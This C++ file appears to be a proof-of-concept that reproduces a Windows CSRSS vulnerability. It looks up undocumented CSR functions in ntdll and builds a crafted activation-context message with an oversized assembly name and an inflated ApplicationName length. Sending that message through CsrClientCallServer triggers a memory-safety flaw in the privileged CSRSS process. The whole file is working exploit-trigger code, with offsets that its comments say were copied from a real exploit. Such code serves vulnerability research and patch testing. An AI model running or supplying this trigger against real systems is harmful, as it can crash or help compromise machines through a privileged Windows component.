#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>

const char* MANIFEST_CONTENTS =
    "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
    "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
    "<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
    "processorArchitecture='amd64'/>"
    "</assembly>";

const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
  L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
  L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";

typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
                                                     ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;

typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
                                                   PVOID CaptureBuffer,
                                                   ULONG ApiNumber,
                                                   ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;

typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
                                                       PCSTR String,
                                                       ULONG Length,
                                                       ULONG MaximumLength,
                                                       PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;

NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
                              PCWSTR String, ULONG Length = 0) {
  if (Length == 0) {
    Length = lstrlenW(String);
  }
  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
                                 Length * 2 + 2, OutputString);
}

int main() {
  HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
      Ntdll, "CsrAllocateCaptureBuffer");
  CsrClientCallServer =
      (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
      Ntdll, "CsrCaptureMessageString");

  char Message[0x220];
  memset(Message, 0, 0x220);

  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);

  std::string Manifest = MANIFEST_CONTENTS;
  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');

  // There's no public definition of the relevant CSR_API_MSG structure.
  // The offsets and values are taken directly from the exploit.
  *(uint32_t*)(Message + 0x40) = 0xc1;
  *(uint16_t*)(Message + 0x44) = 9;
  *(uint16_t*)(Message + 0x59) = 0x201;

  // CSRSS loads the manifest contents from the client process memory;
  // therefore, it doesn't have to be stored in the capture buffer.
  *(const char**)(Message + 0x80) = Manifest.c_str();
  *(uint64_t*)(Message + 0x88) = Manifest.size();
  *(uint64_t*)(Message + 0xf0) = 1;

  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);

  // Triggers the issue by setting ApplicationName.MaxLength to a large value.
  *(uint16_t*)(Message + 0x122) = 0x8000;

  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}